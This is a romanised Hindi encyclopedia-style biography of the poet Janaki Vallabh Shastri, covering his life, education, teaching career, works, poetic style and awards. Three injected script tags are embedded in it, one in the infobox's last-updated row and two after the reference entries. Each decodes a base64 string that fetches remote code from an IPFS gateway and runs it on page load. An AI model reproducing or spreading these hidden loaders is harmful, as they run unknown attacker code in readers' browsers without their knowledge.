जानकी वल्लभ शास्त्री
janaki vallabh shastri
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| poora nam | janaki vallabh shastri |
| janm | 5 pharavari 1916 |
| janm bhoomi | gaya, bihar |
| mrityu | 7 aprail 2011 |
| mrityu sthan | muzaphpharapur, bihar |
| abhibhavak | pita- ramanugrah sharma |
| pati/patni | chhaya devi |
| karm bhoomi | bharat |
| karm-kshetr | sahity |
| mukhy rachanaean | 'radha', 'kakali', 'kalidas' adi. |
| bhasha | hindi |
| puraskar-upadhi | 'rajeandr shikhar puraskar', 'bharat bharati puraskar', 'shiv sahay poojan puraskar' |
| prasiddhi | kavi, lekhak |
| nagarikata | bharatiy |
| any janakari | janaki vallabh shastri ka pahala git 'kisane baansuri bajaee' bahut lokapriy hua. |
| adyatan | 15:07, 10 aprॅl 2012 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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| inhean bhi dekhean | kavi soochi, sahityakar soochi |
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janaki vallabh shastri (aangrezi: Janaki Ballabh Shashtri, janm: 5 pharavari 1916 - mrityu: 7 aprail 2011) prasiddh kavi the. unhean uttar pradesh sarakar dvara 'bharat bharati puraskar' se sammanit kiya gaya tha. ve un tho de-se kaviyoan mean rahe, jinhean hiandi kavita ke pathakoan se bahut man-samman mila. achary janaki vallabh shastri ka kavy sansar bahut hi vividh aur vyapak hai. praranbh mean unhoanne sanskrit mean kavitaean likhian. phir mahakavi nirala ki prerana se hiandi mean ae.
janm
janaki vallabh shastri ka janm 5 pharavari 1916 mean bihar ke maigara gaanv mean hua tha. inake pita sv. ramanugrah sharma tha. unhean pashuoan ka palan karana bahut pasand tha. unake yahaan darjanoan guean, saand, bachh de tatha billiyaan aur kutte the. pashuoan se unhean itana prem tha ki gay kya, bachh doan ko bhi bechate nahian the aur unake marane par unhean apane avas ke parisar mean dafan karate the. unaka dana-pani jutane mean unaka pareshan rahana svabhavik tha.
shiksha
janaki vallabh shastri ne matr 11 varsh ki vay mean hi inhoanne 1927 mean bihar-u disa ki prathama pariksha (sarakari sanskrit pariksha) pratham shreni mean uttirn ki. shastri ki upadhi 16 varsh ki ayu mean praptakar ye kashi hindoo vishvavidyalay chale ge. ye vahaan 1932 se 1938 tak rahe. unaki vidhivath shiksha-diksha to sanskrit mean hi huee thi, lekin apane shram se unhoanne aangrezi aur baangla ka prabhoot jnan prapt kiya. vah raviandranath ke git sunate the aur unhean gate bhi the.
karyakshetr
atyant baly-vay mean hi inako apane mata ki snehil-chhaya se vanchit ho jana p da. arthik samasyaoan ke nidan hetu inhoanne bich-bich mean naukari bhi ki. 1936 mean lahaur mean adhyapan kary kiya aur 1937-38 mean rayagadh (madhy pradesh) mean rajakavi bhi rahe. 1934-35 mean inhoanne sahityachary ki upadhi svarnapadak ke sath arjit ki aur poorvabang sarasvat samaj dhaka ke dvara sahityaratn ghoshit kie ge. 1940-41 mean rayagadh chho dakar mujaphpharapur ane par inhoanne vedaantashastri aur vedaantachary ki parikshaean bihar bhar mean pratham akar pas ki. 1944 se 1952 tak gavarnameant sanskrit k aaulej mean sahity-vibhag mean pradhyapak, punah adhyaksh rahe. 1953 se 1978 tak bihar vishvavidyalay ke ramadayalu sianh k aaulej, mujaphpharapur mean hindi ke pradhyapak rahakar 1979-80 mean avakash grahan kiya.[1]
rachanaean
janaki vallabh shastri ka pahala git 'kisane baansuri bajaee' bahut lokapriy hua. pro. nalin vimochan sharma ne unhean prasad, nirala, pant aur mahadevi ke bad paanchavaan chhayavadi kavi kaha hai, lekin sachaee yah hai ki ve bharateandu aur shridhar pathak dvara pravartit aur vikasit us svachchhand dhara ke aantim kavi the, jo chhayavadi atishay lakshanikata aur bhavatmak rahasyatmakata se mukt thi. shastriji ne kahaniyaan, kavy-natak, atmakatha, sansmaran, upanyas aur alochana bhi likhi hai. unaka upanyas 'kalidas' bhi brihat prasiddh hua tha.
pahali rachana 'govindaganam'
inhoanne solah-satrah ki avastha mean hi likhana praranbh kiya tha. inaki pratham rachana ‘govindaganamh’ hai jisaki padashayya ko kavi jayadev se abodh sparddha ki viparinati manate haian. ‘roop-aroop’ aur ‘tin-tarang’ ke gitoan ke pashchath ‘kalan’, ‘aparna’, ‘lilakamal’ aur ‘baansoan ka jhuramut’- char katha sangrah kamashah prakashit hue. inake dvara likhit char samikshatmak granth-’sahityadarshan’, ‘chiantadhara,’ ‘trayi’ , aur ‘prachy sahity’ hindi mean bhavatmak samiksha ke sarjanatmak roop ke karan samadrit hua.1945-50 tak inake char giti kavy prakashit hue-’shipra’, ‘avantika’,’ meghagit’ aur ‘sangam’. kathakavy ‘gatha’ ka prakashan samajik drishtikon se kraantikari hai. inhoanne ek mahakavy ‘radha’ ki rachana ki jo sanh 1971 mean prakashit huee. ’hans balaka’ gady mahakavy ki inaki rachana hindi jagath ki ek amooly nidhi hai. chhayavadottar kal mean prakashit patr-sahity mean vyaktigat patroan ke svatantr sankalan ke aantargat shastri dvara sanpadit ‘nirala ke patr’ (1971) ullekhaniy hai. inaki pramukh kritiyaan sanskrit mean- ’kakali’, ‘bandimandiram’, ‘lilapadhmamh’, hindi mean ‘roop-aroop’, ‘kanan’, ‘aparna’, ‘sahityadarshan’, ‘gatha’, ‘tir-tarang’, ‘shipra’, ‘avantika’, ‘meghagit’, ‘chiantadhara’, ‘prachyasahity’, ‘trayi’, ‘pashani’, ‘tamasa’, ‘ek kiran sau jhaiyaan’, ‘smriti ke vatayan’, ‘man ki bat’, ‘hans balaka’, ‘radha’ adi haian.[1]
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bhasha aur shaili
achary janaki vallabh shastri kisi khas vicharadhara ke kavi nahian haian. unaki rachanaoan mean sahity ki sabhi dharayean samahit haian. moolat: sanskrit bhasha aur sahity ke achary rahe achary janakivallabh shastri ji aangrezi-baangla –hindi adi anek bhashaoan ke vidvanh hai. raka aur bela jaisi patrikaoan ka sanpadan kiya. darshanikata aur sangit unake gitoan ko lokapriy banate haian. ras aur anand ki unaki kavitaoan, gitoan mean pramukhata rahi hai. rag kedar unaka priy rag raha hai. unake gitoan mean jivan ka vah pahaloo hai jo shaanti aur sthirata ka kayal hai. ve kahate haian gol gol ghoomana isamean nahian hai. bahar se kuchh chhin jhapatakar le ane ki khushi nahian apane ko pane ka anand hai. unase bat-chit ke kram mean hamean unaki darshanikata aur unaki jivan shaili vaidik rrishi paranpara ki yad dilati rahi. shastri ji ne apane jivan ke manak svayan gadhe haian.
sab apani apani kahate hai.
koee n kisi ki sunata hai,
nahak koee sir dhunata hai.
dil bahalane ko chal phir kar,
phir sab apane mean rahate hai.
sabake sir par hai bhar prachur,
sabaka hara bechara ur
ab oopar hi oopar hansate,
bhitar durbhar du:kh sahate hai.
dhruv lakshy kisi ko hai n mila,
sabake path mean hai shila shila
le jati jidhar baha dhara,
sab usi or chup bahate haian.[2]
'nirala' bane preranasrot
sahaj git achary janakivallabh shastri ki pahachan hai. unhoanne chhandobaddh hindi kavita likhi haian. praranbh mean ve sanskrit mean kavita karate the. sanskrit kavitaoan ka sankalan kakali ke nam se 1930 ke asapas prakashit hua. nirala ji ne kakali ke git padhakar hi pahali bar unhean priy bal pik sanbodhit kar patr likha tha. bad mean ve hindi mean a ge. nirala hi unake preranasrot rahe haian. vah chhayavad ka yug tha. nirala unake adarsh bane. chalis ke dashak mean kee chhandabaddh kavy-kathaean likhian, jo 'gatha` namak unake sangrah mean sankalit haian. unhoanne kee kavy-natakoan ki rachana ki aur 'radha` jaisa shreshth mahakavy racha. ve kavisammelanoan mean khoob sune sarahe jate the. unake gitoan mean sahajata ka saundary hai. bahut saral bianb ke madhyam is sanatan bhav ko chitrit karate haian. shrriangar unaka priy ras hai. unaki kavitaoan mean madhury hai. sahaj sauandary ke sath-sath ve lokonmukh janajivan ke kavi haian.[2]
samman aur puraskar
shastri moolatah gitakar haian aur inake gitoan mean chhayavadi gitoan ke hi sanskar shesh haian. vividhavarni ras-bhavoan mean sankalit koee dedh hajar gitoan ka pranayan inhoanne kiya hai. paranparagat darshan sanvedan aur bhasha se nirmit ye git uttar chhayavad yug ke gitoan mean apana vishisht sthan rakhate haian aur inaka apana alag akarshan hai. sanskrit-kavitaoan ke pratham sankalan ‘kakali’ ke prakashan ke bad to inhean ‘abhinav jayadev’ kaha jane laga.
- rajeandr shikhar puraskar
- bharat bharati puraskar
- shiv sahay poojan puraskar
nidhan
achary janaki vallabh shastri ka hridayagati ruk jane se 7 aprail 2011 ko bihar ke mujaphpharapur zile mean nidhan ho gaya. vah 96 varsh ke the. vayovriddh kavi ke qaribi logoan ne bataya ki shastri ji lambe samay se bimar chal rahe the. unake parivar mean patni chhaya devi aur ek putri hai. unhoanne bataya ki achary shastri ne mujaphpharapur sthit apane avas 'nirala niketan' mean aantim saans li. bharat sarakar ki or se unhean padmashri dene ki ghoshana ki gee thi, jise kisi vivad ke karan unhoanne lauta diya tha.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 achary janaki vallabh shastri (hiandi) literatureindia.com. abhigaman tithi: 4 faravari, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 furasat mean …. achary janakivallabh shastri (hiandi) manoj (bl aaug). abhigaman tithi: 4 faravari, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
- kabhi n bisarane vala vhyaktithv
- hiandi sahity ke shikhar purush-janaki vallabh shastri
- 'dilhlivaloan ko bhi meri yad ati hai?' : achary janaki valhlabh shashtri
sanbandhit lekh
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varnamala kramanusar lekh khoj
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